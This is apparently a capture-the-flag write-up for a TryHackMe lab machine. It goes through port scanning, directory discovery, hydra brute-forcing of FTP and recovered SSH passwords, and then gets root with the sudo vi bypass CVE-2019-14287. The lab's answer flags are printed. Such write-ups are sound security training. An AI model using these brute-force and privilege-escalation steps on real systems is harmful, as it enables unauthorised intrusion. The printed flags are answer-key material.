Year of the Rabbit

Year of the Rabbit

Time to enter the warren...

nmap-scan

sudo nmap -sC -sV 10.10.198.232

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2

22/tcp open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
|   2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
|   256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
|_  256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)

80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Apache2 Debian Default Page: It works

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

gobuster-scan

gobuster dir -w common-dirs.txt -u http://<IP>

/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)

interesting

--found intersting comments in /assets/style.css source code:
/* Nice to see someone checking the stylesheets.
Take a look at the page: /sup3r_s3cr3t_fl4g.php

[21][ftp] host: 10.10.193.52 login: ftpuser password: 5iez1wGXKfPKQ

+++++ ++++[->+++ +++++ +<]>+ +++.< +++++ [->++ +++<] >++++ +.<++ +[->-
--<]> ----- .<+++ [->++ +<]>+ +++.< +++++ ++[-> ----- --<]> ----- --.<+
++++[->--- --<]> -.<++ +++++ +[->+ +++++ ++<]> +++++ .++++ +++.- --.<+
+++++ +++[- >---- ----- <]>-- ----- ----. ---.< +++++ +++[- >++++ ++++<
]>+++ +++.< ++++[->+++ +<]>+ .<+++ +[->+ +++<] >++.. ++++. ----- ---.+
++.<+ ++[-> ---<] >---- -.<++ ++++[->--- ---<] >---- --.<+ ++++[->---
--<]> -.<++ ++++[->+++ +++<] >.<++ +[->+ ++<]> +++++ +.<++ +++[- >++++
+<]>+ +++.< +++++ +[->- ----- <]>-- ----- -.<++ ++++[->+++ +++<] >+.<+
++++[->--- --<]> ---.< +++++ [->-- ---<] >---. <++++ ++++[->+++ +++++
<]>++ ++++. <++++ +++[- >---- ---<] >---- -.+++ +.<++ +++++ [->++ +++++
<]>+. <+++[->--- <]>-- ---.- ----. <

User: eli
Password: DSpDiM1wAEwid

1 new message
Message from Root to Gwendoline:
"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
END MESSAGE

User gwendoline may run the following commands on year-of-the-rabbit:
(ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt

writeup

----------user-flag----------

--ran nmap -sC -sV <IP> and found open ports on 21, 22, and 80
--ran gobuster dir -w common-dirs.txt -u http://<IP> and found an /assets directory containing an mp4 and css file.
--mp4 ended up being a dead end, but the css file contained a hiddent directory in the text:
/sup3r_s3cr3t_fl4g.php

--got lost for a while but eventually fired up Burpsuite and analyzed the request for http://<IP>/-sup3r_s3cr3t_fl4g.php
--found another hidden directory in the header data called /WExYY2Cv-qU/ that contained a image file
--ran wget on image and inspected exif with no success, but strings game me a ftp username called ftpuser and a list of possible passwords to crack
--ran hydra -l ftpuser -P wordlist.txt ftp://<IP> and got the password 5iez1wGXKfPKQ
--logged into ftp://<IP> and downloaded the creds.txt file that contained a brainfuck script to decode at dcode.fr giving us a username and password:
eli:DSpDiM1wAEwid

--logged in with ssh eli@<IP> and given password DSpDiM1wAEwid and noticed an intersting login message:
Message from Root to Gwendoline:
"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"

--i then ran locate s3cr3t and found a file called /usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
--ran cat /usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly! and got another interesting message:
Your password is awful, Gwendoline.
It should be at least 60 characters long! Not just MniVCQVhQHUNI

--logged in with ssh gwendoline@<IP> with the given password successfully.
--ran cat user.txt and got user flag:
THM{1107174691af9ff3681d2b5bdb5740b1589bae53}

----------root-flag----------

--ran sudo -l and got:
User gwendoline may run the following commands on year-of-the-rabbit:
(ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt

--got stuck for a bit, but finally googled vi sudo vulnerabilities and found CVE-2019-14287
--ran sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt and it opens a vi session
--entered the vi command line by typing ':' and entered !/bin/sh into the command line to get a shell
--ran whoami and it returned root
--ran cat /root/root.txt and got root flag:
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}

[Task 1] Flags

Can you hack into the Year of the Rabbit box without falling down a hole?
(Please ensure your volume is turned up!)

#1
What is the user flag? +100 points

THM{1107174691af9ff3681d2b5bdb5740b1589bae53}

#2
What is the root flag? +150 points

THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}